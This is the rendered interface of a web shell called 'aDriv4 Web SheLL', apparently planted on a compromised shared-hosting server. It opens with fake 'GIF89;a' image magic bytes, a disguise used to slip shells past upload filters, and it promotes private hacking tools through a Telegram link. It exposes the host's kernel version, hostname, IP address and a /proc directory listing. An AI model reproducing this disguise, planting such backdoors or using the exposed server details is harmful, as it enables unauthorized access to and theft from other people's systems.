GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium219.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
 LiteSpeed
 66.29.141.203
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-11-26 04:11:38
.. dir - root/root 0755 2024-03-18 02:44:49
2773929 dir - istamihl/istamihl 0555 2025-05-12 07:18:56
3773955 dir - istamihl/istamihl 0555 2025-05-12 07:18:50
3785853 dir - istamihl/istamihl 0555 2025-05-12 07:18:50
3786445 dir - istamihl/istamihl 0555 2025-05-12 07:18:50
3805935 dir - istamihl/istamihl 0555 2025-05-12 07:18:50
3821438 dir - istamihl/istamihl 0555 2025-05-12 07:18:50
3821710 dir - istamihl/istamihl 0555 2025-05-12 07:18:50
3826335 dir - istamihl/istamihl 0555 2025-05-12 07:18:50
3826378 dir - istamihl/istamihl 0555 2025-05-12 07:18:50
3827963 dir - istamihl/istamihl 0555 2025-05-12 07:18:50
3830146 dir - istamihl/istamihl 0555 2025-05-12 07:18:50
3835382 dir - istamihl/istamihl 0555 2025-05-12 07:18:34
3837251 dir - istamihl/istamihl 0555 2025-05-12 07:18:45
acpi dir - root/root 0555 2024-11-26 09:10:09
bus dir - root/root 0555 2024-11-26 09:22:29
driver dir - root/root 0555 2025-05-12 07:18:57
fs dir - root/root 0555 2024-11-26 09:22:29
irq dir - root/root 0555 2024-11-26 09:22:29
kcare dir - root/root 0555 2025-05-12 07:18:57
lve dir - root/root 0555 2025-05-12 07:18:57
net link - istamihl/istamihl 0555 2025-05-12 07:19:00
scsi dir - root/root 0555 2024-11-26 09:22:29
self link - istamihl/istamihl 0555 2025-05-12 07:18:50
sys dir - root/root 0555 2024-11-26 04:10:06
sysvipc dir - root/root 0555 2025-05-12 07:18:57
thread-self link - istamihl/istamihl 0555 2025-05-12 07:18:59
tty dir - root/root 0555 2025-05-12 07:18:57
buddyinfo 0 B root/root 0444 2025-05-12 07:18:57
cgroups 0 B root/root 0444 2025-05-12 07:18:57
cmdline text/plain 0 B root/root 0444 2025-05-12 07:18:56
consoles 0 B root/root 0444 2025-05-12 07:18:57
cpuinfo text/plain 0 B root/root 0444 2025-05-12 07:18:57
crypto 0 B root/root 0444 2025-05-12 07:18:57
devices 0 B root/root 0444 2025-05-12 07:18:57
diskstats 0 B root/root 0444 2025-05-12 07:18:56
dma 0 B root/root 0444 2025-05-12 07:18:57
execdomains 0 B root/root 0444 2025-05-12 07:18:57
fb 0 B root/root 0444 2025-05-12 07:18:57
filesystems text/plain 0 B root/root 0444 2025-05-12 07:17:44
interrupts 0 B root/root 0444 2025-05-12 07:18:57
iomem 0 B root/root 0444 2025-05-12 07:18:57
ioports 0 B root/root 0444 2025-05-12 07:18:57
kallsyms 0 B root/root 0444 2024-11-26 09:22:29
kcore 128 TB root/root 0400 2024-11-26 09:10:10
key-users 0 B root/root 0444 2025-05-12 07:18:57
keys 0 B root/root 0444 2025-05-12 07:18:57
kmsg 0 B root/root 0400 2025-05-12 07:18:57
kpagecgroup 0 B root/root 0400 2025-05-12 07:18:57
kpagecount 0 B root/root 0400 2025-05-12 07:18:57
kpageflags 0 B root/root 0400 2025-05-12 07:18:57
loadavg text/plain 0 B root/root 0444 2025-05-12 07:18:57
locks 0 B root/root 0444 2025-05-12 07:18:57
mdstat 0 B root/root 0444 2025-05-12 07:18:57
meminfo text/plain 0 B root/root 0444 2025-05-12 07:12:05
misc 0 B root/root 0444 2025-05-12 07:18:57
modules 0 B root/root 0444 2025-05-12 07:18:57
mounts text/plain 0 B istamihl/istamihl 0444 2025-05-12 07:19:00
mtrr 0 B root/root 0644 2024-11-26 09:22:29
pagetypeinfo 0 B root/root 0400 2025-05-12 07:18:57
partitions 0 B root/root 0444 2025-05-12 07:18:57
sched_debug 0 B root/root 0444 2025-05-12 07:18:57
schedstat 0 B root/root 0444 2025-05-12 07:18:57
slabinfo 0 B root/root 0400 2025-05-12 07:18:57
softirqs 0 B root/root 0444 2025-05-12 07:18:57
stat text/plain 0 B root/root 0444 2025-05-12 07:16:34
swaps 0 B root/root 0444 2024-11-26 04:10:06
sysrq-trigger 0 B root/root 0200 2024-11-26 09:22:29
timer_list 0 B root/root 0400 2025-05-12 07:18:57
uptime text/plain 0 B root/root 0444 2025-05-12 07:12:05
version text/plain 0 B root/root 0444 2025-05-12 07:18:57
vmallocinfo 0 B root/root 0400 2025-05-12 07:18:57
vmstat 0 B root/root 0444 2025-05-12 07:18:57
zoneinfo 0 B root/root 0444 2025-05-12 07:18:57
© aDriv4